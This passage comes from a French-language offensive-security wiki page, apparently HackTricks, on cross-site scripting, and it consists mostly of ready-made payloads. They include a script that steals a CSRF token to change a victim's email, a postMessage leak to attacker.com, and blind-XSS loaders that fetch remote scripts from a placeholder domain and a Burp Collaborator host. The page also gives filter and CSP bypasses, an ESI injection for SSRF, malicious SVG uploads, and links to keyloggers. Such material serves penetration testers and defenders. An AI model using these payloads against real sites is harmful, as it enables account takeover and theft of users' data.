- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Vous pouvez également utiliser metasploit
http_javascript_keylogger
Vol de jetons CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Vol de messages PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Abus des Service Workers
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Accès au Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Polyglottes
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Payloads XSS aveugles
Vous pouvez également utiliser : https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Accéder au contenu caché
D'après cet article, il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Liste de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS Abusant d'autres vulnérabilités
XSS dans Markdown
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS vers SSRF
Avez-vous XSS sur un site qui utilise le caching ? Essayez de le mettre à niveau vers SSRF via l'injection Edge Side Include avec ce payload :
<esi:include src="http://yoursite.com/capture" />
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore !
Plus d'informations sur cette technique ici : XSLT.
XSS dans un PDF créé dynamiquement
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour qu'il exécute du code JS arbitraire.
Donc, si le bot créateur de PDF trouve une sorte de balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un XSS serveur.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Si vous ne pouvez pas injecter de balises HTML, cela pourrait valoir la peine d'essayer d'injecter des données PDF :
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS dans Amp4Email
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via composants AMP.
Le format AMP pour Email étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
Exemple writeup XSS dans Amp4Email dans Gmail.
XSS en téléchargeant des fichiers (svg)
Téléchargez en tant qu'image un fichier comme celui-ci (provenant de http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Trouvez plus de charges utiles SVG dans https://github.com/allanlw/svg-cheatsheet
Autres astuces JS & informations pertinentes
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
Ressources XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Si vous êtes intéressé par une carrière en hacking et par le fait de hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Apprenez & pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.